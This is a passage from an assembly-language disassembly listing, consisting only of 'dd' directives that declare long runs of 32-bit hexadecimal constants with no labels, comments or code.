		dd 5A5274D1h, 72FA2D4Fh, 609CA62Ah, 9A7BC269h, 5C6E138h
		dd 0A3B893D0h, 0F03B068Fh, 0A11B40DDh, 0D9474E7Dh, 0ECE95C55h
		dd 5801F090h, 2716B44Dh, 4204DB23h, 9A6F1CFAh, 6C9F1247h
		dd 0FD8F4C60h, 0B33931D0h, 0C8624F22h, 5E0AB1B0h, 605BA7DEh
		dd 4E292E00h, 8307E4E8h, 0BD1F4968h, 0ED672CE0h, 7FEEBB28h
		dd 0E8F197F1h, 5B0ED88Dh, 0B9B3B14Fh, 3BE1F17h,	0B8C76FCCh
		dd 0B6DC1FE8h, 0C968E0D1h, 0FEACDBC2h, 737BD3C6h, 0E0BECAAh
		dd 0A5E3ACAh, 4D5B9889h, 0BF9F6CC9h, 9DC29F25h,	6D803998h
		dd 82D6477h, 0C2CE0865h, 8D28D3F0h, 0E7A34F3Dh,	2C7DCC46h
		dd 19A03F51h, 0E3C7F97Ah, 0D40FA9BFh, 0D31E36E7h, 0B501ABE2h
		dd 9ADD402Dh, 30926B28h, 1821F0FCh, 94F264B3h, 0FF764625h
		dd 471FF49Ah, 726790EDh, 0EBBE2ECDh, 302E74F1h,	0D51CB432h
		dd 1075A2BFh, 76ED7651h, 0CDBCDE6h, 0E396058Ch,	557CAC3Dh
		dd 2A7B6F0h, 0A3B01FC5h, 4FC4E40Dh, 32423C9Eh, 0BEEEF4Fh
		dd 0FAE99466h, 60A72BC3h, 1F564128h, 4B485D70h,	0BE195840h
		dd 4C4D7A84h, 195E4142h, 0B3A9C5E4h, 815D2C6Bh,	30AE8213h
		dd 2069504Dh, 0AF4934DBh, 71CFD2E3h, 3E3FB904h,	0BDDF7DFEh
		dd 9C1DCC67h, 4AE01AA7h, 4B3FAB21h, 1668DE80h, 0FC7F919h
		dd 70160D16h, 24ED08C4h, 0A0F5A1B0h, 562AE30Dh,	74FD9F30h
		dd 38DA817h, 805B34CAh,	3AF7EBFDh, 0E7327330h, 77ACF763h
		dd 0EBA348A6h, 891913E5h, 7589F7D2h, 7B7D44E6h,	0BD5DDAC4h
		dd 0CDD17E75h, 1CAA898Ah, 0E9BA0C5Fh, 1C47D7D8h, 798DB70Ah
		dd 4213F74Dh, 1C96B292h, 0C8D781B4h, 5B790EF0h,	1E79A65Eh
		dd 0E848BF8h, 0F951DD87h, 49367E53h, 0A1FEC96h,	0D6261D10h
		dd 4464BC88h, 38B29FEAh, 0F1DB503h, 2D43F70Dh, 18F249A2h
		dd 111B8881h, 6778C118h, 694BE108h, 43B101D1h, 78E4DA05h
		dd 4DC4213Ch, 8CD5F6DCh, 9469E563h, 15B77A0Fh, 9BA0A186h
		dd 0ADC23999h, 3983F36Ah, 2887A204h, 4B2AF8B6h,	615415D3h
		dd 0E111006Ah, 1A7B2E78h, 0A03AB495h, 859903DDh, 964122Ah
		dd 3B215D23h, 4AA821DAh, 0B07AAD00h, 322C1E7Eh,	493F2CC6h
		dd 6A7576D6h, 16D17E75h, 0E47AC4EBh, 8E161B02h,	99C1C852h
		dd 47E1622Ch, 1AEC8D25h, 1820EBE6h, 4580C74Eh, 12B0158Dh
		dd 0D8C80A44h, 863F3082h, 0D3BCAF11h, 76FDBFB5h, 8DAE6318h
		dd 21EDF694h, 0BE752F20h, 82C7F8F6h, 0B7270079h, 50BD98E5h
		dd 2DD5F567h, 0ACD17F04h, 4C576B1Dh, 0CCD17E74h, 0E4CEC77Dh
		dd 0F6498F26h, 53F260EDh, 0D06992E7h, 0DBD88662h, 0A5556880h
		dd 8508A15Ch, 8BC889D2h, 86767203h, 10DED2C3h, 3E966AC5h
		dd 2C3FBEFFh, 4773F8B6h, 9285D372h, 0E8FCBDD3h,	0CD4C8A9h
		dd 0D53FDAC4h, 1DE63548h, 96CBB709h, 41847972h,	1B01DB19h
		dd 986BAA6h, 1AEF5396h,	0FA8FD3E6h, 3F798D46h, 72E09237h
		dd 0E9B7BE46h, 0FD38C909h, 1A9AFF8Dh, 0ACCC3579h, 8E619A7Bh
		dd 5C558FEBh, 9C4FA4FBh, 0D77C63B3h, 0C6701FFDh, 0DF3E3B2Dh
		dd 55704B0Ah, 28A0B71Ch, 0D06B1FF0h, 616FB5AAh,	366CDE9Eh
		dd 97BB5E57h, 3969F29Eh, 402F4C44h, 0E0CA0D67h,	2B738160h
		dd 3F558C96h, 42EF88E6h, 1B9FC9C3h, 5007EB88h, 0E0482FAh
		dd 0A0DB1B16h, 56BF0DEh, 7CAAD2A0h, 2A54041Eh, 91D3E115h
		dd 0A8E153D6h, 0AED060Bh, 30BE6C35h, 309D06F9h,	162ECFB3h
		dd 0E090D583h, 352155E6h, 0FDC5517Dh, 605E7F57h, 5C281FFAh
		dd 6374D217h, 4348F11Eh, 25E66C4h, 96D52A31h, 0FC926AD6h
		dd 2A73D8C8h, 0B73EED16h, 5DA2434Bh, 55E39BE4h,	3608AF80h
		dd 2FADE5F6h, 3A01AF93h, 0E43CD2BBh, 0E58855CAh, 81D7B2F1h
		dd 0AF39BA6Ah, 0F3B70E08h, 4DA1BE03h, 5BF2D4AAh, 0C2D580F3h
		dd 27E5C20Bh, 4E73FC3h,	18AB5271h, 8A4CAAB0h, 0BE2F04B6h
		dd 8E84FB7h, 0C935B2B1h, 898EA104h, 7739BCF1h, 497DB292h
		dd 546113B0h, 4FE3CABEh, 4E663DB2h, 1B720D7Dh, 1FC9034Ch
		dd 262B1AA4h, 32431947h, 7D39BD1Eh, 8A5FE5B6h, 787202FFh
		dd 7BDBF3B8h, 44BD95C5h, 56790CE6h, 0FB31BF05h,	1D0E7B7Dh
		dd 33229344h, 995A1FFDh, 37DB3625h, 7FB3B413h, 10191FFDh
		dd 0EFF6E0ACh, 7212D6Bh, 8187FBAAh, 0C601BD62h,	77916168h
		dd 0B941DBD5h, 0A8F9D5E1h, 78305601h, 0DB71F8B6h, 72EA1C5Ch
		dd 7E846E32h, 941ECD63h, 1FC9228Bh, 17A61124h, 7B302132h
		dd 54DA51E3h, 0F98D4ECAh, 85C7F8C5h, 0AF7A73A3h, 0F08A57D0h
		dd 0F94AFE7Dh, 6CD17F03h, 331C09D0h, 45D17E5Ah,	57BF7316h
		dd 1FC927E0h, 94B1FE60h
		dd 0DC3057D2h, 86915E0Ah, 85B70FF1h, 3C5BB408h,	0FF3BDE64h
		dd 7719F716h, 5B07A118h, 71CE0F0h, 0F005A4B2h, 0C350129Eh
		dd 1B34CAAAh, 0B0F845ACh, 413736CEh, 0FD6D5144h, 3BF83CA7h
		dd 4C80B414h, 40251B86h, 0D2AD94E9h, 9E04B43Eh,	3F8A0B89h
		dd 0CCFB7487h, 52FD8E73h, 4CB3B1CAh, 59D020CDh,	322A115Bh
		dd 560BA9C1h, 40B63AC6h, 7DD3C5Bh, 8821670Bh, 436F9F9Fh
		dd 56B355Ch, 0A8970F3Ch, 43BC8546h, 0D8B453D9h,	0A94DE9E3h
		dd 343C7064h, 0B137B5C4h, 0DAEEBF34h, 0DCB3FF48h, 0E214BF6Eh
		dd 5A7E5252h, 0C6AB8D65h, 8076DD7Eh, 1434FA93h,	6F0279B9h
		dd 52F562BBh, 5FE6D986h, 2145CDB1h, 109C2FE8h, 4F11746h
		dd 76764C8Fh, 7E376D94h, 0C0CC2E19h, 0C221766Fh, 87EBE1F0h
		dd 8BA2E395h, 2C6C0F04h, 8FF0A61Ch, 0BE717041h,	0BB1DD5D1h
		dd 0E751C742h, 25F6F41Bh, 0D8CD24ADh, 631377D9h, 0F6FC39C4h
		dd 6B40747Dh, 0A3AFD020h, 0D61B1612h, 5976B7D9h, 0D1141673h
		dd 38ED304h, 27D38324h,	809A7E15h, 0BCEEBF23h, 41602B80h
		dd 9B5AF9D0h, 0D2AED3A8h, 0A6AC523Eh, 0E816FC3Dh, 9DF84536h
		dd 45D21324h, 0EF13846Bh, 0AABD1A3Eh, 0E18B4EC7h, 0C5C73ABh
		dd 999112F2h, 7CE0EF65h, 0E9E332B9h, 70FE4C50h,	49C6A91Eh
		dd 4A6A0515h, 0DA11CD95h, 9C0FCD6Eh, 0AB3C7C20h, 0B260E624h
		dd 0F124B882h, 7CE0E953h, 0EC37DEFCh, 6CF845F8h, 0A2EE98Eh
		dd 1219E8EAh, 0E864C5F6h, 0DAEEC06Eh, 0E18B5276h, 811573ABh
		dd 70F84536h, 4032BE06h, 2339EBC2h, 6D487A74h, 1219F6D2h
		dd 318A8AD4h, 0DB9BC91Dh, 0BB60832Bh, 0F4ACC593h, 9D32D06Eh
		dd 0AE1AC91Dh, 0E28AA186h, 0C2E6D60Fh, 7F2AEFFBh, 6A0A7229h
		dd 5361C2E7h, 39F153BDh, 260A9941h, 1613C544h, 0D5AB1C96h
		dd 100CE8D9h, 0F607A3ECh, 65487735h, 0E77F0877h, 0B7D77375h
		dd 0DE5FAA27h, 0CB2DBF6Eh, 0F0DD8248h, 5BE97239h, 7CE0A0ECh
		dd 0BC73536Dh, 0BEE4C605h, 287E6ECBh, 263F794Bh, 54DC4175h
		dd 0D78D4C8Fh, 1EA85BABh, 5248E288h, 0C7EEBF59h, 784B7BF8h
		dd 1B519BB7h, 570ACFE7h, 0EE184A4Ah, 0BB1163E3h, 97F8D8AFh
		dd 76F4FAA7h, 0CE8DE717h, 0DC71038Bh, 0FDEA2C0Fh, 523BE248h
		dd 0E92A18D6h, 6372D3Eh, 6ADF051Bh, 9D5D694Ch, 583B5397h
		dd 0D15CC578h, 30A31D62h, 271BBB3Fh, 89F8F681h,	0C0787CB7h
		dd 98AA1CB1h, 267088BEh, 723081AAh, 4DDD50E6h, 0BC33E249h
		dd 0D8728B2Fh, 1205F771h, 0A9A55A07h, 9BF11E88h, 0BE8CB179h
		dd 0C1AAD90Bh, 0FF37FE0Ah, 60D3BF6Fh, 0A756D0D3h, 0ED222A18h
		dd 264C3D0Ah, 8DA8DAF3h, 18E9966Bh, 0FBD81042h,	0EC9D1599h
		dd 812A596Bh, 0F9F8F7A8h, 0DCB5E622h, 9616F24Dh, 7853407Ah
		dd 0C8EC1971h, 0A64CBAA2h, 23B70D87h, 0DFA11467h, 0DDBFC5AEh
		dd 39DD8248h, 529CF391h, 0B304D9FDh, 52A2CBFBh,	93476A5Ah
		dd 0FD23BD0Dh, 589409FEh, 0BF984C8Eh, 0A5219B5Eh, 40F75F7Bh
		dd 41F9D0BCh, 0BA2BBC8Bh, 0EBD62301h, 0A28B5388h, 2BD045B8h
		dd 0B546FCEAh, 7F883A49h, 1CB9430Dh, 2BAB35BBh,	44BF95E0h
		dd 7B0AF977h, 1CA439DEh, 21C53743h, 0F320A2DEh,	5E7D25Ch
		dd 0B553D967h, 0FFC9F205h, 0B69D0D28h, 0ADD2E7F7h, 93C27E1Dh
		dd 65460FBh, 63E34649h,	0B5819C3Bh, 25C2EEA2h, 0B7EE479h
		dd 45FA578Fh, 39887Eh, 2B816AF3h, 0D31BCAF4h, 69EBEE23h
		dd 0EFDCC4BEh, 0C5B10D9Ah, 582757C1h, 0D067F690h, 6A0052DEh
		dd 0AB957237h, 0B617C9CDh, 938A0FD0h, 0F618B3C5h, 74007B3Dh
		dd 5181B1F0h, 1CE2CF68h, 3748E1A4h, 0F57E44EAh,	81711DAEh
		dd 6FA48FDEh, 77FA9E27h, 0CE15A781h, 0B9C57123h, 0D1AAD77Fh
		dd 6F2D5487h, 941CEAF2h, 12E553ADh, 883E8CF3h, 9BA8BD2Ah
		dd 0D299644Bh, 0A152EBFAh, 38FE5177h, 81B49717h, 3902F623h
		dd 4A232C43h, 660233A6h, 0C7DB2555h, 2EFBB8E6h,	68A138DBh
		dd 0BE8CE431h, 6D793D5Ch, 9BA48F32h, 0BEFF7A99h, 0FF63F508h
		dd 80E0BDB5h, 0D98C6A4Bh, 0A8D68AEFh, 0A5B151A7h, 0C5437300h
		dd 3A64E832h, 970DDC2h,	6914CCE1h, 0E91574C1h, 5BF5BC80h
		dd 0BCDC525h, 344B4E37h, 2A33DC5Ch, 981C4291h, 87137892h
		dd 0AE5269ADh, 0C5A77338h, 0B367C3C2h, 0E54531AEh, 6FE6CCEDh
		dd 0D6ED5D34h, 45410D9Ah, 0D1BC81EAh, 4DF87F41h, 9341DBECh
		dd 160AFE67h, 0B008A701h, 0E6DBF47Ah, 0E2AC5B64h, 6DD034ADh
		dd 4AF7F49Ah, 3D92E98Bh, 4748E01Dh, 0ED85507Ah,	8ECBE20Eh
		dd 27836FFCh, 86910834h, 0DA2168D0h, 8A10F0EEh,	12EF8C47h
		dd 0ECF93E17h, 207A71C3h, 0BC420D27h, 509CF58h,	0D146D68Fh
		dd 0D7808FEEh, 0ECF91B52h, 0BDDDC7C3h, 4D737373h, 6B1924C6h
		dd 8AB1F7E1h, 0E7339452h, 0F865FDD1h, 0A95915F7h, 0FF062D0Bh
		dd 0B00DDB2Ch, 9856717Fh, 0C4474321h, 3CAB68EBh, 97DD84ABh
		dd 0AFB8FC56h, 0BE0DCB08h, 0A70346E2h, 8A17685Eh, 99E6C971h
		dd 3E6A1223h, 2EFBB883h, 485B0FDBh, 4A521195h, 783E8D81h
		dd 8994D204h, 7AA28DA9h, 0A36E8B1Bh, 0AA0FAE8Bh, 350C44CAh
		dd 0DEE9CD1Fh, 95A56F34h, 5C2579B5h, 27500D59h,	0C91772E0h
		dd 0DD6F568Bh, 0C5D4F623h, 138FCA90h, 14AC582Ah, 2CC1F51Ah
		dd 2448990Eh, 0D5B11DA3h, 0E8E22917h, 852BE439h, 0B194E5BBh
		dd 0FD9F6D23h, 8D976E4Bh, 5577A416h, 5BCAACA8h,	9DD0C561h
		dd 68B18C22h, 0B2500DE5h, 68AE5373h, 98D8D501h,	2B5ADDC2h
		dd 360A209Bh, 3B843DD4h, 2749535Ch, 144ADA9Bh, 1804F35h
		dd 603A7022h, 0DB24D5BEh, 6D3A7721h, 274953F7h,	1CB4319Bh
		dd 28023D16h, 2CB4AECBh, 57F9E478h, 0B6408EFFh,	5D030BCBh
		dd 0E57C1CAh, 8B230A73h, 0D4B1E39h, 0D87AE47Bh,	2F2F5998h
		dd 997D119Ch, 471F77Bh,	4714088Fh, 0DDACAFB7h, 1A8618FCh
		dd 10587E54h, 2B28ECB7h, 0B2E1866Bh, 3D8E191Ch,	0FDA7FBE4h
		dd 0B2DDC03Bh, 40EC9326h, 5C201939h, 2768F1FEh,	0B1CA0FEBh
		dd 0B787B54Bh, 531FE47Bh, 62D79068h, 2E341939h,	65C069CCh
		dd 911E8073h, 27701484h, 0B1D107A4h, 17E70F94h,	0CC409568h
		dd 0C4BE3920h, 87D1484h, 997F5E27h, 925EA97Bh, 0AE585B6Ah
		dd 997AEA75h, 997AE198h, 0DF0FDC7Bh, 0F771E47Bh, 0CC4095E5h
		dd 1DAC3E35h, 0CD59A486h, 8F888326h, 0A904185Ah, 9DE8BFF1h
		dd 1D9F0A7Bh, 0E374BDBBh, 197AE3ECh, 1B07284Ch,	0A7C3EDC9h
		dd 967AE458h, 96589EF5h, 1DC17328h, 0CC4095E4h,	0F67F0A73h
		dd 0B4239F8Eh, 0BF9C25F0h, 71E7B5C6h, 0B98B5731h, 2F35DB6Dh
		dd 0A69F18ECh, 997AEAF2h, 0A2D87AA9h, 852A32C0h, 0B3A6FE62h
		dd 0B15C00C5h, 37206849h, 0E08A1C10h, 997F5EFAh, 3FFA027Bh
		dd 0D3554703h, 0ECDF96E0h, 0E3AF1C23h, 379436F6h, 0F7CB2209h
		dd 0E8AC647Bh, 997AE1C1h, 0A4C5537Bh, 0B1D8B074h, 969D98C3h
		dd 3AD11C7Fh, 0A6890E97h, 997F176Ah, 86C32E98h,	4C831C3h
		dd 8E63FDAh, 0F23C32A4h, 28F4E47Bh, 2F18083Ah, 78D221FAh
		dd 9DF262DEh, 5676E47Bh, 0C11E25F9h, 7A3591BEh,	0C99E43FCh
		dd 6C72A88Ah, 80BDCA4Ch, 0A07F857Ah, 3EEB0DD3h,	3CCF1F0Ah
		dd 1E248543h, 0A6902480h, 229BCBC9h, 39FC0299h,	3A181C71h
		dd 17C3F26Dh, 9E0ED2F7h, 9DEEF77Bh, 0E698E47Bh,	4B2B871Eh
		dd 5F8EE926h, 0AE4CBA16h, 997AE35Fh, 60112AFDh,	68B43568h
		dd 6CAD1C48h, 958337F3h, 90210895h, 9F82D99Eh, 93CF5B82h
		dd 289292Ch, 0A692FEDEh
		dd 9632EB61h, 18259A3Ch, 0B69B94BDh, 3227991Bh,	54696A0Fh
		dd 0D5A657D5h, 9F9C810Fh, 843A27EFh, 9976E20Ch,	78F34DEFh
		dd 8ECBEEC0h, 0B9C76F1Bh, 9E14301Bh, 0D188A0EFh, 0C85AF06Dh
		dd 7E2798F3h, 5467F64Ch, 0B6B45FD5h, 997B6C1Bh,	172ADEEFh
		dd 0DC67F5B8h, 0B5449189h, 49D00E1Bh, 9976E20Ch, 78EA4DEFh
		dd 8EC3EEF3h, 0B9C76F1Bh, 9E14341Bh, 0B445B3EFh, 0D6BF6B4Ch
		dd 0E98ACB30h, 9AD5A6A8h, 0F0E92C7Ch, 5CC4CC49h, 0F9597F57h
		dd 0B709F3Ch, 0B370A2A6h, 0EEC4CC4Ch, 49928051h, 0D1F16635h
		dd 81AB8F34h, 35B6E749h, 0FE686E64h, 0DA6EBD37h, 0DB791AACh
		dd 73AA0310h, 79858807h, 6E0A7B8Fh, 8B8FF8BDh, 51E191D0h
		dd 24DC7EC1h, 0AC6E4679h, 559406CEh, 359934A5h,	0F0DC4BD2h
		dd 0FBB3264Ch, 0BEB0B8F7h, 0AE3AEFC6h, 246F0C01h, 1B83AD3Bh
		dd 0C89659CFh, 0F4F2E5B1h, 21DE4B05h, 0C3DAB8C3h, 8AAD6308h
		dd 8C578DB2h, 0D05FECA5h, 0C2F3AF11h, 97152FF0h, 6C11EE4Ch
		dd 0FB1B0B37h, 38E429F9h, 2C0039F2h, 0AE10E3BCh, 0C730A888h
		dd 0A4D6D9BFh, 8B3E6081h, 429E7E9h, 0CECC1D89h,	6FA27188h
		dd 0E1693254h, 7F303E71h, 531FB128h, 2B96947h, 0D006FE80h
		dd 6B76AA92h, 0FC19D3F1h, 6C45AFC7h, 0Ch dup(85F53254h)
		dd 38697554h, 0A6CD349Eh, 5A9712BAh, 0FB2812E0h, 76F98CCh
		dd 11A76FE0h, 0D8D4BBD3h, 5A979CA2h, 0FB281914h, 0DB0ECDCCh
		dd 0F9B36FDFh, 0FDD4BBD2h, 5A97DEA6h, 0FB281C28h, 7712DCCh
		dd 118F6FE0h, 0E805BBD3h, 0A1FD17AFh, 32AD9FEBh, 0AF85AFF9h
		dd 31104D4Fh, 0F229107Ch, 33B176BAh, 565AE245h,	0AF03B54Eh
		dd 0D7B86B78h, 0E2825546h, 0D233762Eh, 98228822h, 1DF53254h
		dd 53B82495h, 80D5FF1Dh, 5499D180h, 3AF01588h, 0A193BBCFh
		dd 0F3D99126h, 0B9DA613Fh, 33DC33Ah, 23859510h,	369D2D75h
		dd 908F40D1h, 0FB9485DEh, 0B224539Ah, 0A73CF6DCh, 97408FF9h
		dd 1722281Eh, 9ADCEF7Bh, 60EADA3Eh, 83105B9Ah, 0BBD484F8h
		dd 0A8089296h, 0F9FD3254h, 4777A065h, 8ADF1B5Eh, 0F0C952B0h
		dd 41091FA9h, 948A8D5Ch, 9BA94CA2h, 41D4FD9h, 0F556874h
		dd 3FC60BBDh, 0BB5B4777h, 14A9B039h, 63250DB3h,	5996F4B8h
		dd 3CF53639h, 0BE47D16Fh, 9F10143Bh, 747C0CA4h,	2E729CC0h
		dd 6015DF4Ch, 0CA7CD0FCh, 885DEAA2h, 0B378925h,	74C5A916h
		dd 0E7D4E5A3h, 8D9E8BE0h, 847860CBh, 0FD68B22Dh, 243DB93Bh
		dd 284BBEDAh, 8F52A1EBh, 20032927h, 9CDB3935h, 1E65D78Bh
		dd 0DF7E9AB8h, 210700F6h, 43B06C81h, 9C593F8Ah,	0C50DF5B4h
		dd 0CFD7DF82h, 0BF890055h, 925B125Eh, 655320Eh,	3D1D8588h
		dd 0B04ABD47h, 0FB6B6D5Eh, 0A739DDD7h, 3F7D4FF8h, 18DEA071h
		dd 0EE60DE29h, 121BC765h, 0B793112h, 7E781452h,	0A1C7D518h
		dd 411C6AF3h, 6C13857Dh, 2ADE4513h, 26A8F276h, 0C876887Dh
		dd 26968EF0h, 0E991A069h, 0CD7D9BF3h, 8D6CBAEDh, 32D8CFDBh
		dd 0EEAD5DFEh, 27221B3Bh, 1B6C44ADh, 4FE736E9h,	0CD264D89h
		dd 0C1DF2207h, 93DEC968h, 5F126516h, 795CBC90h,	0E54AC9B2h
		dd 0B824DF84h, 0DF6BEF53h, 273BED25h, 100D7EC2h, 4033CC1h
		dd 0D35C0781h, 0FF4EC0F4h, 0E35015A9h, 0A4E5AD92h, 8B340782h
		dd 568DDECBh, 0B4D86A16h, 0F9895CFBh, 0C63A07A3h, 26612789h
		dd 0A11734Dh, 9303D991h, 1340AFF9h, 0AB1A59EAh,	7B7E53Fh
		dd 282A52DCh, 2888C789h, 262ED88Dh, 1B8B5D0Fh, 0AD0B8F29h
		dd 0B05AA8EBh, 5C2E7E1Ah, 0B0BB8B60h, 0EE3F3800h, 29755E78h
		dd 9CF4857Dh, 0BC35760h, 5D840EDBh, 0D0AA89E7h,	0C1562526h
		dd 445035D3h, 5713E0DFh, 90C4C331h, 82B3BF0Ch, 2A47D67Ah
		dd 5B52D7Ch, 63953C2Dh,	0E39694A4h, 44DF1392h, 26EAE5E9h
		dd 1750C677h, 7CDE1102h, 895B0D3Eh, 6997740Ah, 8903ED7Ah
		dd 1542A523h, 82C1624Ch, 8AE02679h, 1B42AB6Ch, 0E5BFFCF0h
		dd 92FC28E5h, 0B21CAEE4h, 9250C7ACh, 4A96D981h,	4FCEF9Fh
		dd 45A4CB90h, 5631FBBCh, 67CE45F6h, 0FB2DF006h,	2536115h
		dd 0B1F76972h, 0DB06CEA8h, 0BE1DB0F1h, 0DE212FD2h, 430E6D9h
		dd 0DD9B891Ah, 0EEA44C7h, 8F3040DAh, 8ADE94A9h,	0F893A67h
		dd 208B06CDh, 0A37107D3h, 0CC27C8Dh, 96E4B928h,	3968F27h
		dd 3B72A5BCh, 6CE1CB58h, 0CC0C3689h, 2288BBFDh,	4C9CE5E8h
		dd 0EAF93EE2h, 0A0ADFF73h, 0FACE7EF7h, 0A82F3915h, 15660AEEh
		dd 8B10B1EAh, 0EC50BF9Bh, 1444ABB7h, 1BAC8715h,	0C9445BEAh
		dd 0DD8ADBEFh, 499BA156h, 3DC3355Ah, 532F63BBh,	0B772C5E6h
		dd 0D8FB9F72h, 4FD51740h, 5BBBB4EFh, 0A19E7D74h, 14FAE6D4h
		dd 1BC3B7B8h, 0D48FB6D1h, 0BFD0207Dh, 0F6E359FEh, 702D69DCh
		dd 7CDC421h, 8DEDC2A5h,	88C682E6h, 0D6055E99h, 0E30DC85h
		dd 0B3799CEh, 68C74DB9h, 5FBA069h, 171DED41h, 0D3636AAEh
		dd 0A1718CA8h, 0A505D72Bh, 0D25019F8h, 48CAA895h, 7B12A509h
		dd 7C8A656Fh, 37B815EEh, 22908EB3h, 4172731h, 7F5404DBh
		dd 0DB2F83B7h, 0E1B593D5h, 5B267836h, 0DEA5E65Bh, 5D4752E1h
		dd 0E70F7CEAh, 15D52B7Eh, 32F8FDD9h, 67A85FBAh,	0F943DFDFh
		dd 7F5405F3h, 0A16ECD98h, 0EDD6E6FDh, 99B9C9EFh, 28ECF578h
		dd 0C5B078ECh, 9D99685h, 2C36C92Bh, 64EE7D56h, 4EB5B99Ch
		dd 0A532DFE5h, 0BA6FC3F0h, 0ABC9034Dh, 359C32FCh, 180785BAh
		dd 0E3BB165Bh, 0FF4E6E15h, 90FDE7EFh, 8705E850h, 8F7BB8ADh
		dd 0DDDC9B66h, 8EE2E03Eh, 0BB1C8C55h, 281602CBh, 2FE7DB16h
		dd 0AA9C92F7h, 0C9535467h, 55AFEB5Ch, 0E7AC4455h, 0C424EA8Ah
		dd 30B43526h, 6BEE0DE3h, 0C4B7FB23h, 4985AF8Ah,	0A9B36EB2h
		dd 0D0631C88h, 711C9FA9h, 0D0798DFh, 0E7869C93h, 0D64F5EC2h
		dd 0A9B6E7D8h, 0F70B9321h, 7F413EFDh, 8ED5FE98h, 4CAEDF00h
		dd 0FFD43654h, 0D1202BDAh, 228A8C46h, 0C6324648h, 4CB59DA3h
		dd 7CDA24C5h, 0BCC8F81Ah, 9643A070h, 38C4AC17h,	0E76912E5h
		dd 0C910F4B7h, 1723EAD4h, 0BB68B335h, 0C9535325h, 3BB1BBEFh
		dd 2C36C95Fh, 1CA26BBBh, 67BBEBEFh, 0D07A94DEh,	24138676h
		dd 53A7BBCFh, 0F9E507C7h, 0FE2E0A2Dh, 76C8C1A7h, 0F7DD4641h
		dd 1E629E55h, 0ECA62A4Bh, 1DBCE507h, 40D8A5B4h,	9C1EC759h
		dd 5B262273h, 71F38B4Bh, 8D146140h, 0C2ED1DD7h,	0B0E1B2F3h
		dd 52A9382Dh, 8A8BE53Eh, 4D0CFD8Ah, 76796645h, 0B31D15E5h
		dd 805FDDA3h, 0D2A7669Dh, 0FD14CEEEh, 0FDE3BA04h, 0F179724Fh
		dd 7D3DD104h, 0D00C0470h, 8CCABB39h, 766CCCD2h,	79228F0Bh
		dd 84A81B62h, 0F537C6Dh, 2288BECEh, 89E4DAF3h, 0CBB3DF5h
		dd 0FDADFF8Ah, 0F12CCE9h, 0D6CE73B1h, 0F7906CC9h, 0DCF0E89Ch
		dd 0E2CC7F92h, 0D2977E4h, 78505C34h, 403F2135h,	8D8F5802h
		dd 13B2AB56h, 0BBA95B60h, 0B3F29E1Bh, 0B0E1B2F9h, 0B64309A0h
		dd 5A601222h, 264E8D82h, 4E87A331h, 4810AC1Ch, 2288BA1Fh
		dd 5F5AA422h, 5CBF9EA3h, 0AF5B9C53h, 0F588BF4Ah, 55FAA349h
		dd 76652440h, 580EF308h, 0E366CF1Eh, 620A5DC4h,	31B7260h
		dd 11601326h, 710A9C51h, 4AC1BABFh, 0F4B7AA24h,	0F1C6A6Eh
		dd 44FB2171h, 0CFC561EFh, 281BB1A0h, 28BEC6FEh,	0B416301Ch
		dd 2288BA20h, 5F59D022h, 22BFA343h, 0DEA6F015h,	65DB8EF1h
		dd 0F25EA19Dh, 0C8ADD357h, 582D6C64h, 0EF406B32h, 2B91A7CBh
		dd 0D5C9D1Eh, 0F589E13Eh, 4CCF6640h, 99FA37A3h,	728E855Ch
		dd 9C7BC889h, 793CEFC5h, 464C5EB3h
		dd 6483980Ah, 4B2B5ACEh, 145A1F52h, 0A5A5164Eh,	10EFB814h
		dd 90CB0457h, 4864DECAh, 2695F1A3h, 8148B527h, 0E73FFFBBh
		dd 0B03205EBh, 18819CD9h, 565AAF19h, 0C8128B76h, 6A219CA5h
		dd 8FDBCF2h, 3FCC3F8Eh,	0E589FB66h, 0BC86A611h,	2365284Ah
		dd 85F84C88h, 0DA9F6EACh, 928230A4h, 228A8BD4h,	9B8FB61Bh
		dd 28B96D7Ch, 39EF8292h, 0BC7DEC1Eh, 7269C6D1h,	228A8AF3h
		dd 0D4498431h, 8B8A8AC3h, 0A3684644h, 6588BF45h, 245EA25Fh
		dd 0F8F323F3h, 4CC0BE1Fh, 26FDE24h, 6ED7C745h, 0BD88BDFBh
		dd 0C3F97F3Eh, 6762A4BEh, 0E8061445h, 8E46E7FFh, 3C51434Fh
		dd 35E23C32h, 1F61C175h, 55F7EB9h, 0CA0CC03h, 5370598Dh
		dd 3B44BF50h, 63E47A53h, 2677A151h, 3CB78FD9h, 63E368BBh
		dd 6171AA51h, 40144F0Fh, 9A88BDFBh, 2288BF6Fh, 5CD2A62Ah
		dd 12A203CEh, 0D60FA325h, 5F1CD54Ch, 22939B7Ch,	19D48231h
		dd 59B6A50Ch, 614C5959h, 0CF84B3A8h, 0B3AD575Bh, 0B9BB484Fh
		dd 0BBAF59A0h, 38406DC1h, 0F02ED93h, 0ED804B54h, 0EB7EC820h
		dd 2585E498h, 7	dup(2128C825h),	7D641E78h, 49E1DFBAh, 0B73DD153h
		dd 58819B6Bh, 0EA1FB8ACh, 41ACD378h, 4F1FDD39h,	2B3DD153h
		dd 0BA819A29h, 0D8508567h, 0EF9DBDA4h, 828E8B95h, 0BE90FDFFh
		dd 0BDDE0ED7h, 0E347D436h, 79B42A87h, 9B20D27Bh, 938AA714h
		dd 7D1D778Eh, 6F23C4ADh, 0D208FD6Bh, 85715910h,	67ED5034h
		dd 67794E9Fh, 0BB702196h, 192C3330h, 0E9A4CA79h, 4986865Ch
		dd 0A9AD97CDh, 9DD08666h, 0E7FC9712h, 0DDDD4146h, 5B64A95Dh
		dd 0C85E8A1Ah, 38B12642h, 0D2856394h, 8B4176BAh, 0B4A7216Ch
		dd 115FA072h, 622A826h,	0C6197F87h, 13A29FC5h, 0BB4A859Dh
		dd 604EEEACh, 0F8EC1224h, 889E6FB7h, 0E46528C7h, 7743A08Bh
		dd 8B72DE7h, 9906BA6Ah,	32C3512Ah, 3166974Eh, 0A6E3FB05h
		dd 6D690E73h, 7F0A007Dh, 0CBD3BD34h, 0FD4E07BDh, 12EFBF51h
		dd 4E90CF2Ch, 64F5D812h, 404F729Ch, 2BB90F68h, 2F444F9Ah
		dd 8F214AFDh, 2128C7DBh, 40860320h, 63BA2452h, 0BBFCDEF0h
		dd 4D9EFF28h, 8AD88BE6h, 0A04B9D2h, 7383588Fh, 0E4AC1558h
		dd 0E8F45499h, 0F8AFC155h, 5CBB3061h, 31F45F67h, 6B511D8h
		dd 0AE57445Ah, 6F238D10h, 4A93EF6Fh, 0BE90FDF9h, 0F0BA0ED7h
		dd 597288A7h, 0D6969455h, 0E0BEFA77h, 5E6E0E31h, 1F28D11Bh
